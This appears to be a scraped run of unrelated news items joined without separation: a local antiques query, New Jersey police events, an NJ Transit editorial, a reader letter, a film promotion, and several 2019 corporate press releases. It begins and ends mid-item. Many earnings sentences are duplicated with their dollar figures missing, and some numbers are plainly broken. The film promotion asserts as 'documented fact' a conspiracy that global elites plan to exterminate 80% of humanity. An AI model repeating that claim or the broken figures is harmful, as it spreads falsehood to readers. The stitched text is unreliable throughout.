peanut. When the peanuts top is pulled off, a working cigarette lighter is revealed. Planters in dark brown script is printed on the lighter. Thank you for anything you can tell me about the lighter and if it is a collectible. J.E., Absecon Two events Monday aim to bring law enforcement together with the communities they serve in Cape May and Cumberland counties. In Vineland, students and community members are invited to mingle with police at Cumberland County College to learn about career requirements and opportunities. Hosted by the colleges Criminal Justice Society, the free Coffee with the Cops event will be held from 9 a.m. to noon in the lobby of the Shirlee and Bernard Brown University Center, according to a news release from the college. Get rid of unused, unwanted prescriptions at Cumberland County event Cumberland County residents will be able to safely dispose of their unused prescription drug Representatives from the FBI, U.S. Air Marshals, State Police, Delaware and Pennsylvania State Police, Philadelphia police, state Parole Board, Fairton Federal Correctional Institution, Cumberland County Sheriffs and Prosecutors offices, local police departments and other university partners are slated to attend. For more information, call Charles Kocher at 856-691-8600, ext. 1277. In Middle Township, police will host their monthly Cops and Coffee program from 8 to 10 a.m. at McDonalds, 3201 Route 9 South, Rio Grande. Police invite residents to stop by for a cup of coffee and some casual conversation with officers. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. NJ Transit stalled and started rolling backward long ago. A poor record on safety and reliability, failure to comply with a federally mandated upgrade, closed rail lines and ridiculous service outages are some of the results. Gov. Phil Murphy prescribed a $242 million increase in the agencys state subsidy and a $1.3 million audit. This month the states rail and bus transportation provider finally started to inch forward. Last week, Murphy announced that the closed Atlantic City Rail Line would reopen 12 days earlier than expected. Thats not much, but better than previous announcements that twice pushed the reopening back from the original January. He also announced tweaks to improve the service when it resumes. An additional train will get commuters to Philadelphia before 9 a.m. A late night train that the agency said had lower ridership will be dropped. Murphy also is acting to increase NJ Transits responsiveness to customers and taxpayers by giving them a bigger voice on its board. His nomination of Absecon retired hospice chaplain the Rev. Janet Hewes Gasbarro, on the recommendation of Sen. Chris Brown, looks especially good. Shes a resident of neglected South Jersey and an experienced commuter on the A.C. Rail Line. After decades of political smoke and mirrors, President Trump has brought the southern border problem to the countrys attention. Without help, his opposition will procrastinate the situation into oblivion. A decision needs to be made so the country can move on. Who better to decide than those who foot the bill. This can be achieved by asking every American if they would opt into a one percent non-deductible charge on every payment received that allows federal deductions to be taken. People would be voting with their money and if more than 50 percent of them did, their money would fund all costs related to illegal immigration and then tax money could be used only for legal immigration. Those who did not opt in would have to accept the outcome, knowing the opposition wanted the outcome so badly it was willing to pay for it. If the funding vote went the other way, existing laws dealing with illegal immigration would have to be rewritten to prevent illegal immigration. Washington must compromise. For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME. Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire. Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever. Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation. View the progress of the coming collapse of the United States and the formation of the North American Union. Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history. Endgame is not conspiracy theory, it is documented fact in the elite's own words. During the programme, prestigious scholars and experienced entrepreneurs Prof. Rey Sheng Her, Prof. Richard Gombrich, Vincent Shen, Joe Hsueh gave talks on economy of goodness from different aspects such as management, technology and philanthropy. In the symposium, representatives of enterprises of goodness worldwide shared their own experience of running business and were altogether involved in discussions on the future of economy of goodness. The chief advisor of CGSC, Prof. Her currently a visiting scholar at the University of Cambridge, the University of Oxford emphasised that the core belief, value-based leadership, the concept of altruism and collaborative strategy are the cornerstones of business sustainable development. Citing the cases of Steve Jobs and Ma Yun, he further demonstrated that to be altruistic will better serve ourselves. All the delegates, after heated discussions, arrived at a consensus that goodness studies should be a milestone in the development process of human civilisation. At the end of the conference, they all obtained certificates for their successful attendance and became "noble men" of CGSC. With an expectation of being practitioners and pioneers in this field, they signed the Joint Declaration and promised to undertake the mission of promoting goodness studies. About CGSC: CGSC aims to study and promote the theory of goodness and support the practice in this field. With a strong team of scholars from universities worldwide, CGSC proposed and developed its core value systems from ten aspects, namely economy, culture, education, life, philanthropy, governance, environment, technology, art and communication. The concept of "Economy of Goodness" encourages more diversity and broad coverage of business ethics issues. By combining online and offline interactions, CGSC aims to build an open platform for entrepreneurs of goodness to enhance their strategies and methods of business management through collective dialogue and collaboration, which also promotes their unity. The formation of such a network will strengthen mutual support among entrepreneurs from different industries, thereby fostering the birth of more enterprises of goodness. For more information, please visit: en.cgsc.org.cn Photo - https://mma.prnewswire.com/media/877982/CGSC.jpg Related Links http://en.cgsc.org.cn SOURCE Centre for Goodness Studies, China (CGSC) ARLINGTON, Va., April 25, 2019 /PRNewswire/ -- Arlington Asset Investment Corp. (NYSE: AI) (the "Company") announced today that the Company will release results for the first quarter ended March 31, 2019 after the market closes on Wednesday, May 1, 2019 and will hold a conference call for investors at 9:00 A.M. Eastern Time on Thursday, May 2, 2019 to discuss the results. Investors wishing to listen to the earnings call at 9:00 A.M. Eastern Time on Thursday, May 2, 2019, may do so via the Internet at: http://www.arlingtonasset.com/index.php?s=19 Replays of the earnings call will be available for 60 days via webcast at the Internet address provided above, beginning two hours after the call ends. About the Company Arlington Asset Investment Corp. (NYSE: AI) currently invests primarily in mortgage-related and other assets and intends to qualify to be taxed as a real estate investment trust commencing with its taxable year ending December 31, 2019. The Company is headquartered in the Washington, D.C. metropolitan area. For more information, please visit www.arlingtonasset.com . SOURCE Arlington Asset Investment Corp. Related Links http://www.arlingtonasset.com MEXICO CITY, April 25, 2019 /PRNewswire/ -- Corporacion Inmobiliaria Vesta S.A.B. de C.V., ("Vesta", or the "Company") (BMV: VESTA), one of the leading pure-play industrial real estate companies in Mexico, today announced its results for the first quarter ended March 31, 2019. All figures included herein were prepared in accordance with International Financial Reporting Standards (IFRS) and are stated in US dollars unless otherwise noted. Highlights Vesta announced on April 22, 2019 that it has entered into a definitive agreement to sell a property portfolio totaling 1.6 million square-feet for a total of US$ 109.3 million , this reflects a 20% increase over the divested portfolio's NAV. The portfolio consists of eight industrial properties, 60% of which are located in Queretaro (960,078 sf) and 40% in Toluca (629,198 sf), Mexico . The blended cap rate for the divested Portfolio is 7.1%. The transaction is subject to approval by the Mexican Antitrust Commission (COFECE) final resolution and to other regulatory items. that it has entered into a definitive agreement to sell a property portfolio totaling 1.6 million square-feet for a total of , this reflects a 20% increase over the divested portfolio's NAV. The portfolio consists of eight industrial properties, 60% of which are located in (960,078 sf) and 40% in (629,198 sf), . The blended cap rate for the divested Portfolio is 7.1%. The transaction is subject to approval by the Mexican Antitrust Commission (COFECE) final resolution and to other regulatory items. First quarter 2019 revenues increased by 15.7% to US$ 36.29 million , from US$ 31.38 million in 1Q18, with NOI and EBITDA margins of 96.3% and 85.7%, respectively. , from in 1Q18, with NOI and EBITDA margins of 96.3% and 85.7%, respectively. FFO increased 23.2% year over year, to US$ 10.76 million , from US$ 8.73 million . FFO per share for 1Q19 was US$ 0.018 from US$ 0.014 in 1Q18. , from . FFO per share for 1Q19 was from in 1Q18. Record financial results in 2018 enabled a Ps$ 0.425 dividend per share distribution for the first quarter 2019, a 13.7% increase compared to 1Q18. Continued growth of rent per square foot in the total portfolio of 6.6% compared to the same period of last year and a 4% CAGR in the last 3 years. Vesta had a robust 1.7 million ft (154,944 m) in leasing activity, including 257,250 ft (23,899 m) of new leases with existing and new international clients such as Harman, Freudenberg and DB Schenker, among others, and a 1.4 million ft (131,045 m) of lease renewals. To date, Vesta has renewed 65% of leases to expire in 2019 and 2020 with releasing spreads above 2% compared to in place rent. The Company expects continued renewals, while extending current contracts and increasing rents. Stabilized portfolio grew 8.9% in 1Q19, to 28,165,300 ft (2,616,642 m), from 25,874,812 ft (2,403,849 m) in 1Q18, while the stabilized occupancy rate remained stable at 96.8%. Vesta increased its total GLA portfolio by 3,368,087 ft (312,906 m) to 30,416,390 ft (2,825,775 m) in 1Q19, from 27,048,301 ft (2,512,870 m) in 1Q18. Total portfolio occupancy for 1Q19 was 90.8%, from 91.8% in 1Q18. New buildings delivered during 1Q19 amounted to 548,814 ft (50,986 m) of GLA, of which 15% has already been leased. Vesta's development portfolio totaled 949,159 million ft (88,180 m) of GLA in 1Q19, with the addition of one new BTS buildings related to expansions in Juarez by existing client BRP and two inventory buildings in Tijuana and San Luis Potosi . Weighted average expected return on cost is 11.2% for 1Q19 development projects. Financial Indicators (million) 1Q19 1Q18 Chg. % Rental Income 36.29 31.38 15.7 NOI 34.95 30.43 14.9 NOI Margin % 96.3% 97.0% EBITDA 31.11 26.89 15.7 EBITDA Margin % 85.7% 85.7% EBITDA Per Share 0.0522 0.0449 16.2 Total Comprehensive Income 20.98 36.15 na FFO 10.76 8.73 23.2 FFO Per Share 0.0180 0.0146 23.7 EPS 0.0352 0.0603 na Shares (average) 596.52 599.07 (0.4) Revenues increased 15.7%, to US$ 36.29 million in 1Q19 from US$ 31.38 million in 1Q18. This is primarily due to the increase in occupied space which was rented during the first quarter of the year. in 1Q19 from in 1Q18. This is primarily due to the increase in occupied space which was rented during the first quarter of the year. Net Operating Income ("NOI") increased 14.9% to US$ 34.95 million in 1Q19, compared to US$ 30.43 million in 1Q18. The first quarter 2019 NOI margin was 96.3%; a 68-basis-point decrease due to higher costs related to properties that generate rental income. in 1Q19, compared to in 1Q18. The first quarter 2019 NOI margin was 96.3%; a 68-basis-point decrease due to higher costs related to properties that generate rental income. EBITDA increased 15.7% to US$ 31.11 million in 1Q19, versus US$ 26.89 million in the first quarter of 2018. The EBITDA margin was 85.7% in 1Q19, a two-basis point increase, due to an increase in revenue, while the administrative expense margin remained constant. in 1Q19, versus in the first quarter of 2018. The EBITDA margin was 85.7% in 1Q19, a two-basis point increase, due to an increase in revenue, while the administrative expense margin remained constant. Funds from operations ("FFO") for 1Q19 increased 23.2% to US$ 10.76 million , from US$ 8.73 million for the same period in 2018. FFO per share was US$ .0180 for the first quarter, compared with US$ 0.0146 for the same period in 2018, a 23.7% increase. The increase was due to higher EBITDA during 1Q19. , from for the same period in 2018. FFO per share was for the first quarter, compared with for the same period in 2018, a 23.7% increase. The increase was due to higher EBITDA during 1Q19. Total comprehensive income for 1Q19 was US$ 20.98 million , versus a gain of US$ 36.15 million in the same quarter 2018. This decrease was primarily due to a higher deferred tax expense of US$ 0.80 million during 1Q19 compared to the deferred tax benefit of US$ 16.29 million perceived in the first quarter of 2018. , versus a gain of in the same quarter 2018. This decrease was primarily due to a higher deferred tax expense of during 1Q19 compared to the deferred tax benefit of perceived in the first quarter of 2018. As of March 31, 2019 , the total value of Vesta's investment property portfolio was US$ 1.92 billion ; a 1.8% increase compared to US$ 1.88 billion at the end of December 31, 2018 . For a full version of Corporacion Inmobiliaria Vesta First Quarter 2019 Earnings Release, please visit: https://www.vesta.com.mx/investors/financial_information CONFERENCE CALL INFORMATION: Vesta will host a conference call on Friday, April 26, 2019, to discuss these results at 10:00 a.m. Eastern Time / 9:00 a.m. Central Time (Mexico City Time). To access the call, please dial: US, toll-free: +1 877-705-6003 International, toll: +1 201-493-6725 Mexico, toll-free: +1 800-522-0034 Replay will be available until May 10, 2019 Please dial: US, toll-free: +1-844-512-2921 International, toll: +1 412-317-6671 Replay ID: 13687094 About Vesta Vesta is a real estate owner, developer and asset administrator of industrial buildings and distribution centers in Mexico. As of March 31, 2019, Vesta owned 187 properties located in modern industrial parks in 14 states of Mexico totaling a GLA of 30.4 million ft2 (2.83 million m2). The Company has multinational clients, which are focused in industries such as aerospace, automotive, food and beverage, logistics, medical devices, and plastics, among others. For additional information visit: www.vesta.com.mx. Note on Forward-Looking Statements This report may contain certain forward-looking statements and information relating to the Company that reflects the current views and/or expectations of the Company and its management with respect to its performance, business and future events. Forward looking statements include, without limitation, any statement that may predict, forecast, indicate or imply future results, performance or achievements, and may contain words like "believe," "anticipate," "expect," "envisages," "will likely result," or any other words or phrases of similar meaning. Such statements are subject to a number of risks, uncertainties and assumptions. We caution you that a number of important factors could cause actual results to differ materially from the plans, objectives, expectations, estimates and intentions expressed in this presentation and in oral statements made by authorized officers of the Company. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of their dates. The Company undertakes no obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. SOURCE Corporacion Inmobiliaria Vesta, S.A.B. de C.V. Related Links https://vesta.com.mx Def Leppard Volume Two features 1992's Adrenalize, which topped the charts in 23 countries, debuted at No. 1 on the Billboard 200 chart and #1 on the UK chart, and features songs such as "Let's Get Rocked," "Make Love Like A Man," and "Have You Ever Needed Someone So Bad," 1993's Top 10 release Retro Active, the bands first compilation featuring B-sides and previously unreleased recording sessions from 1984 to 1993, Def Leppard's sixth studio album Slang, released in 1996 and the first full album to feature guitarist Vivian Campbell, and, making its vinyl debut, 1999's Euphoria, which also went Top 10 on the US and UK charts and marked the band's return to their signature sound and features the hit "Promises." Also included are Rarities Vol. 2 and Vol. 3, both specially compiled by Joe Elliott containing more rare B-sides and live recordings from the 90's, complete with newly commissioned artwork. Housed in rigid boxes, Def Leppard Volume Two also contains a 40-page hardbound book packed with rare photos by Ross Halfin and introductions written by the entire band. Def Leppard was recently inducted into the Rock & Roll Hall of Fame alongside The Cure, Janet Jackson, Stevie Nicks, Radiohead, Roxy Music and The Zombies, closing out the ceremony with an explosive performance in Brooklyn, NY at Barclays Center. All this caps their historic 2018 co-headline stadium and arena run in North America where the band sold a staggering 1,000,000 tickets and the tour grossed over $100,000,000.00, a massive feat in today's touring world. This summer, Def Leppard will be taking over the Las Vegas Strip with their exclusive headlining residency show, as well as touring Europe and Canada. For more information on the summer tour dates, please click HERE. As always, the group keep pushing forward with their electrifying live shows that have transcended the test of time. 7-CD BOX SET CD ONE - ADRENALIZE Let's Get Rocked Heaven Is Make Love Like A Man Tonight White Lightning Stand Up (Kick Love into Motion) Personal Property Have You Ever Needed Someone So Bad? I Wanna Touch U Tear It Down CD TWO RETRO ACTIVE Desert Song Fractured Love Action Two Steps Behind (Acoustic Version) She's Too Tough Miss You in A Heartbeat Only After Dark Ride into The Sun From the Inside Ring of Fire I Wanna Be Your Hero Miss You in A Heartbeat (Electric Version) Two Steps Behind (Electric Version) CD THREE - SLANG Truth? Turn to Dust Slang All I Want Is Everything Work It Out Breathe A Sigh Deliver Me Gift of Flesh Blood Runs Cold Where Does Love Go When It Dies Pearl of Euphoria CD FOUR - EUPHORIA Demolition Man Promises Back in Your Face Goodbye All Night Paper Sun It's Only Love 21st Century Sha La La La Girl To Be Alive Disintegrate Guilty Day After Day Kings of Oblivion CD FIVE - RARITIES VOL 2 Tonight (Demo Version 2) When Love and Hate Collide (Original Demo) From the Inside B-Side Two Steps Behind (Acoustic) B-Side She's Too Tough (Joe's Demo) B-Side Miss You in A Heartbeat (Phil's Demo) -B-Side Tonight (Acoustic - Sun Studios Version) B-Side S.M.C. B-Side Hysteria (In the Club in Your Face - Bonn) Photograph (In the Club in Your Face - Bonn) Pour Some Sugar on Me (In the Club in Your Face - Bonn) Let's Get Rocked (In the Club in Your Face - Bonn) CD SIX RARITIES VOL 3 Armageddon It (Live in Singapore ) Two Steps Behind (Live in Singapore ) From the Inside (Live in Singapore ) Animal (Live in Singapore ) When Love and Hate Collide (Live in Singapore ) Pour Some Sugar on Me (Live in Singapore ) When Love and Hate Collide B-Side Can't Keep Away from The Flame B-Side Truth Original Version Move with Me Slowly B-Side Work It Out (Original Demo Version) B-Side CD SEVEN RARITIES VOL 4 Bringin' On the Heartbreak (Live in Montreal ) Switch 625 (Live in Montreal ) Miss You in A Heartbeat (Live in Montreal ) Work It Out (Live in Montreal ) Deliver Me (Live in Montreal ) When Saturday Comes B-Side Jimmy's Theme B-Side Burnout B-Side Immortal B-Side World Collide B-Side I Am Your Child bonus track Demolition Man Denver When Love and Hate Collide Tokyo Paper Sun Tokyo Goodbye Tokyo 10-LP BOX SET ALBUM ONE ADRENALIZE SIDE ONE Let's Get Rocked Heaven Is Make Love Like A Man Tonight White Lightning SIDE TWO Stand Up (Kick Love into Motion) Personal Property Have You Ever Needed Someone So Bad? I Wanna Touch U Tear It Down ALBUM TWO RETRO ACTIVE SIDE ONE Desert Song Fractured Love Action Two Steps Behind (Acoustic Version) SIDE TWO She's Too Tough Miss You in A Heartbeat Only After Dark Ride into The Sun SIDE THREE From the Inside Ring of Fire I Wanna Be Your Hero SIDE FOUR Miss You in A Heartbeat (Electric Version) Two Steps Behind (Electric Version) ALBUM THREE SLANG SIDE ONE Truth? Turn to Dust Slang All I Want Is Everything Work It Out Breathe A Sigh SIDE TWO Deliver Me Gift of Flesh Blood Runs Cold Where Does Love Go When It Dies Pearl of Euphoria ALBUM FOUR EUPHORIA SIDE ONE Demolition Man Promises Back in Your Face Goodbye SIDE TWO All Night Paper Sun It's Only Love SIDE THREE 21st Century Sha La La La Girl To Be Alive Disintegrate SIDE FOUR Guilty Day After Day Kings of Oblivion ALBUM FIVE RARITIES VOL 2 SIDE ONE Tonight (Demo Version 2) When Love and Hate Collide (Original Demo) From the Inside B-Side Two Steps Behind (Acoustic) B-Side SIDE TWO She's Too Tough (Joe's Demo) - B-Side Miss You in A Heartbeat (Phil's Demo) B-Side Tonight (Acoustic Sun Studios Version) B-Side S.M.C. B-Side SIDE THREE (In the Club in Your Face Bonn) Hysteria Photograph Pour Some Sugar on Me Let's Get Rocked SIDE FOUR (Live in Singapore) Armageddon It Two Steps Behind From the Inside Animal When Love and Hate Collide Pour Some Sugar on Me ALBUM SIX RARITIES VOL 3 SIDE ONE When Love and Hate Collide B-Side Can't Keep Away from The Flame B-Side Truth Original Version Move with Me Slowly B-Side Work It Out (Original Demo Version) SIDE TWO (Live in Montreal) Bringin' On the Heartbreak Switch 625 Miss You in A Heartbeat Work It Out Deliver Me SIDE THREE When Saturday Comes B-Side Jimmy's Theme B-Side Burnout B-Side Immortal B-Side World Collide B-Side I Am Your Child bonus track SIDE FOUR Demolition Man Denver When Love and Hate Collide Tokyo Paper Sun Tokyo Goodbye Tokyo DEF LEPPARD With more than 100 million albums sold worldwide, two prestigious Diamond Awards in the U.S., 2019 Rock & Roll Hall of Fame inductees, Def Leppard - Joe Elliott (vocals), Phil Collen (guitar), Rick "Sav" Savage (bass), Vivian Campbell (guitar) and Rick Allen (drums) continue to be one of the most important forces in rock music. Over the course of their career the band has produced a series of classic ground-breaking albums that set the bar for generations of music fans and artists alike. The group's spectacular live shows and arsenal of hits have become synonymous with their name, leading Def Leppard to be heralded as an institution in both the music and touring industry. Def Leppard's influential career includes numerous hit singles and ground-breaking multi-platinum albumsincluding two of the best-selling albums of all time, Pyromania and Hysteria, capturing the group's legendary tracks, bringing together classic Leppard hits such as "Rock of Ages", "Pour Some Sugar on Me" and "Foolin." The band's 2015 self-titled studio album debuted at No. 1 on Billboard's Top Rock Albums and Top Independent Albums charts. The album also took the No. 5 spot on Billboard's Top Current Albums and No. 10 spot on the Top 200, as well as claiming 15 top 10 debuts around the world. For the first time, in January 2018 Def Leppard debuted their full recording catalog worldwide via streaming and download platforms. As they did with the original release of their records, Def Leppard dominated the worldwide charts again. Chart stats saw their albums charting in the iTunes Top 10 in more than 30 countries, including Hysteria at No. 3 in the U.S., and #5 in the U.K. Def Leppard had the No. 1, No. 2 and No. 3 records on the U.S. catalog albums chart. FOLLOW DEF LEPPARD www.defleppard.com www.facebook.com/defleppard www.twitter.com/DefLeppard www.instagram.com/DefLeppard www.youtube.com/DefLeppard SOURCE UMe/Virgin Related Links http://www.defleppard.com CHICAGO, April 26, 2019 /PRNewswire/ -- Blue Cross and Blue Shield of Illinois (BCBSIL) is opening a new door to help build healthier communities. The Blue Door Neighborhood Center is the first-ever neighborhood-based center for BCBSIL. The center is aimed at improving community health by addressing common health challenges with wellness classes, connections to social services and customer engagement "For more than 80 years, we've been focused on improving health care quality and patient outcomes," said Maurice Smith, president of Blue Cross and Blue Shield of Illinois. "The Blue Door Neighborhood Center builds on our commitment to driving healthier outcomes in the communities we serve in a way we haven't done before putting us in the heart of one of our communities, where we can best serve others." The center will be open to everyone BCBSIL members and non-members - and will offer no-cost programming focused on whole-person health: physical, mental and social. There will be classes and programming targeting chronic health conditions, such as diabetes, asthma and heart disease, behavioral health, as well as parent and child wellness. Visitors can enjoy fitness classes, learn how to better use health insurance and be connected to community resources that provide access to food or transportation. "At the Blue Door Neighborhood Center, we want to be a hub for health and help to all members of the community," said Laron Taylor, director of the Blue Door Neighborhood Center. "We've been hosting townhalls and meeting with people to learn how we can be a helpful resource and best empower them to make a positive difference in their lives and their health. We're not a clinic, but we're looking at ways to improve the health of our communities beyond the walls of hospitals and physician offices." On April 27, 2019, BCBSIL will hold a ribbon cutting and grand opening celebration for the Blue Door Neighborhood Center at 756 E. 111th Street in Chicago's Pullman neighborhood. A ribbon-cutting ceremony will take place at 11 a.m., and the celebration will continue until 3 p.m. with tours of the center, giveaways, lunch vouchers, a live radio broadcast as well as fun activities for children. "The new Blue Door Neighborhood Center is the latest milestone for the historic Pullman neighborhood which has undergone a renaissance since the development of the Whole Foods Distribution Center, Pullman Park, Gotham Greens, Method, the Pullman Community Center and more that are yielding benefits for our community and the city of Chicago," said 9th Ward Alderman Anthony Beale. "Thanks to our community partners like Blue Cross AND Blue Shield of Illinois, I'm confident we will continue moving forward and creating opportunities like the one we celebrate today that will improve people's lives and build a brighter future." The center opens for business on Monday, April 29 and will serve visitors 7:00 a.m. 7:00 p.m. on weekdays and 10:00 a.m. 2:00 p.m. on Saturdays. You can get more information by visiting www.bluedoorcenteril.com or calling the center directly at (773) 253-0900. About Blue Cross and Blue Shield of Illinois (BCBSIL) Begun in 1936 in Chicago, BCBSIL remains member owned rather than publicly traded, and is committed to promoting the health and wellness of its members and its communities, fostering greater access to care, and working to lower the overall cost of care while improving the health care quality and patient outcomes. BCBSIL is a division of Health Care Service Corporation, a Mutual Legal Reserve Company. Learn more at www.bcbsil.com , www.facebook.com/bluecrossblueshieldofillinois and www.twitter.com/bcbsil . SOURCE Blue Cross and Blue Shield of Illinois Related Links https://www.bcbsil.com INDIANAPOLIS, April 26, 2019 /PRNewswire/ -- Henry Repeating Arms presented engraved tribute edition rifles to a total of six deserving individuals to recognize their service of country, state, and community during the National Rifle Association Foundation Banquet and Auction. The presentation took place in front of a crowd of more than 2,500 people at the Lucas Oil Stadium as the kick-off event for the 2019 NRA Annual Meetings & Exhibits, which opens to the public on Friday, April 26th. Veterans and Law Enforcement honored by Henry Repeating Arms during the 2019 NRA Foundation Banquet in Indianapolis, IN. From L to R: Marshall Easley, Wetzel Sundown Sanders, Anthony Imperato, Don Burwell, Al Hutchcraft, Omar Avila, Chris Fitzgerald. Anthony Imperato, President and Owner of Henry Repeating Arms addressing a packed house at the Lucas Oil Stadium for the 2019 NRA Foundation Banquet. As the primary sponsor of the event, Anthony Imperato, President and owner of Henry Repeating Arms, invited the honorees to join him on stage where they were introduced to the crowd and presented with a Henry rifle. The honorees included the Sheriff of Baron County, Wisconsin, a young veteran who was injured by a 200-pound IED on deployment in Iraq, three World War II veterans, and the father of a young man who was tragically killed in a car accident two weeks after returning from his second combat deployment. Barron County Wisconsin Sheriff Chris Fitzgerald was the first to take the stage alongside Imperato. "I'd like to begin this presentation with a hero from our neck of the woods in Wisconsin," said Imperato referring to Henry Repeating Arms' second manufacturing facility in Rice Lake, WI. Imperato continues, "Barron County became the center of the media world under the unfortunate circumstances of a kidnapping of a 13-year-old girl named Jayme Closs. Sheriff Fitzgerald and his team never gave up hope and will be closing the case on May 24th with the sentencing of the suspect in the case." Sheriff Chris Fitzgerald was presented with a Henry Law Enforcement Tribute Edition rifle. Sgt. Omar Avila of Austin, TX was then announced to the stage and handed a Henry Military Services Tribute Edition rifle. Avila joined the U.S. Army in 2004 as an Infantryman and was deployed to Iraq shortly thereafter. A 200-pound Improvised Explosive Device (IED) rocked Avila's vehicle and caused burns to over 75% of his body and a leg wound that required amputation below the knee of his right leg. Despite his injuries Avila went on to become the current world record holder for the World Association of Bench and Deadlift in the Paralympics category and serve as a motivational figure for his fellow veterans, whom he devotes his life to. Don Burwell of Shelbyville, IN and Al Hutchcraft of Greenfield, IN were the next individuals asked to join the stage. Both men served in the military during World War II with the U.S. Navy and the U.S. Army, respectively. Hutchcraft was deployed to Peleliu and Burwell was deployed to Yokohama, Japan. Wetzel "Sundown" Sanders of East Lynn, WV was then called to the stage, another World War II veteran. Sanders was an anti-aircraft gunner stationed at Hospital Point at Pearl Harbor on the day of the Japanese attack, December 7, 1941. A Purple Heart was awarded to Sanders from Senator Joe Manchin in 2017, 76 years after he was injured in the attack. Imperato, looking back at the World War II veterans on stage holding their Henry Military Services Tribute Edition rifles said, "These men are among the last of the greatest generation that our country has ever seen and we owe our freedom to them today." Before the presentation concluded Imperato brought one more person on stage, Marshall Easley. Easley's son, Michael, served in the U.S. Marine Corps and served two combat tours. He was honorably discharged and preparing to attend college but was tragically killed in a car accident just two weeks after returning home from his second deployment. The father and son were both avid Henry collectors, so when the father was brought on stage Imperato presented him with a rifle that they did not have yet in memory of his son and his son's service. "We know your son is looking down on all of us at this moment and I would like to present this rifle to you in his honor and memory. God rest his soul, God Bless these fine men behind me on stage, and God Bless the United States of America," concluded Anthony Imperato as the crowd rose to its feet in applause. Henry rifles and shotguns can be purchased through a licensed firearms dealer. Most Henry dealers will offer a discount from the MSRP. For additional information about the company and its products visit henryusa.com or call 866-200-2354. About Henry Repeating Arms Henry Repeating Arms is one of the leading rifle and shotgun manufacturers in the United States and a world leader in the lever action category. Their company motto is "Made in America, or Not Made At All" and their firearms come with a lifetime guarantee backed by award-winning customer service. The company is also known for its charitable endeavors under its Guns For Great Causes program, which focuses on sick children, both individual cases and children's hospitals, veteran and wounded veteran organizations, 2nd Amendment and wildlife conservation organizations. The company currently employs 535 people and has 250,000sf of manufacturing space in their Rice Lake, Wisconsin and Bayonne, New Jersey facilities. The company is named in honor of Benjamin Tyler Henry who invented and patented the Henry rifle in 1860 the first repeating rifle, the lever action rifle, which is America's unique contribution to international firearms design and is one of the most legendary, respected and sought after rifles in the history of firearms. SOURCE Henry Repeating Arms Related Links http://www.henryusa.com CHICAGO, April 26, 2019 /PRNewswire/ -- Hill-Rom Holdings, Inc. (NYSE: HRC), today announced financial results for the fiscal second quarter ended March 31, 2019, and updated its fiscal 2019 financial outlook. For the fiscal second quarter, Hill-Rom reported worldwide revenue of $714 million and GAAP earnings of $0.74 per diluted share. These results reflect the new revenue recognition accounting standard, ASC 606, which the company adopted on a modified retrospective basis beginning in the fiscal first quarter 2019. The company's unaudited 2018 modified financial schedules reflecting the adoption of ASC 606 are available as supplemental schedules on the company's website. On a comparable basis under ASC 606, fiscal second quarter adjusted earnings of $1.14 per diluted share advanced 12 percent over the prior-year period and exceeded the company's guidance of $1.09 to $1.11 per diluted share. These results reflect accelerated core revenue growth, continued margin expansion and strategic investments to drive future growth. "We are pleased to deliver another strong quarter of accelerated core revenue growth, positive new product momentum across our diversified portfolio, and financial results that exceeded our guidance," said John P. Groetelaars, Hill-Rom's president and chief executive officer. "This performance reflects the power of our global brand, strong customer relationships, and increasing demand for our innovative technologies and solutions. We continue to execute on our strategic priorities and vision of advancing connected care to enhance outcomes for patients and their caregivers." Fiscal Second Quarter 2019 Revenue Worldwide reported revenue of $714 million in the fiscal second quarter increased 1 percent, or 3 percent on a constant currency basis under ASC 606 in both the current and prior periods. Hill-Rom's core revenue advanced 6 percent, exceeding the company's guidance of approximately 4 percent growth. Core revenue excludes foreign currency, divestitures, and non-strategic assets the company may exit, including the Surgical Solutions international OEM business. By reporting segment (under ASC 606): Patient Support Systems : Patient Support Systems revenue of $360 million increased 3 percent on a reported basis, or 5 percent on a constant currency basis. Core revenue advanced 9 percent, primarily the result of continued double-digit growth in key product categories in the U.S., including med-surg bed systems, Clinical Workflow Solutions, and safe patient handling equipment. : Patient Support Systems revenue of increased 3 percent on a reported basis, or 5 percent on a constant currency basis. Core revenue advanced 9 percent, primarily the result of continued double-digit growth in key product categories in the U.S., including med-surg bed systems, Clinical Workflow Solutions, and safe patient handling equipment. Front Line Care : Front Line Care generated revenue of $243 million , an increase of 2 percent on a reported basis, or 4 percent on a constant currency basis, driven primarily by the performance of new products in respiratory care, vital signs monitoring, and the vision care portfolio. : Front Line Care generated revenue of , an increase of 2 percent on a reported basis, or 4 percent on a constant currency basis, driven primarily by the performance of new products in respiratory care, vital signs monitoring, and the vision care portfolio. Surgical Solutions: Surgical Solutions revenue of $112 million declined 5 percent on a reported basis, or 2 percent on a constant currency basis. Core revenue increased 1 percent, reflecting a difficult comparison resulting from the timing of large capital projects and hurricane recovery in the prior-year period. Recent Highlights Supporting Hill-Rom strategies and financial performance were several achievements aimed at advancing Hill-Rom's innovation, transforming the portfolio, and delivering sustainable value to shareholders. Highlights include: Achieving more than $200 million in new product revenue through the first six months of fiscal 2019. Contributing to this performance are several innovative products such as the Centrella Smart+ bed, Welch Allyn Connex Spot Monitor, Monarch Airway Clearance System, the company's vision care portfolio, and Integrated Table Motion for the da Vinci Xi Surgical System. in new product revenue through the first six months of fiscal 2019. Contributing to this performance are several innovative products such as the Centrella Smart+ bed, Welch Allyn Connex Spot Monitor, Monarch Airway Clearance System, the company's vision care portfolio, and Integrated Table Motion for the da Vinci Xi Surgical System. Advancing the company's digital and mobile communications platform with the acquisition of Voalte, 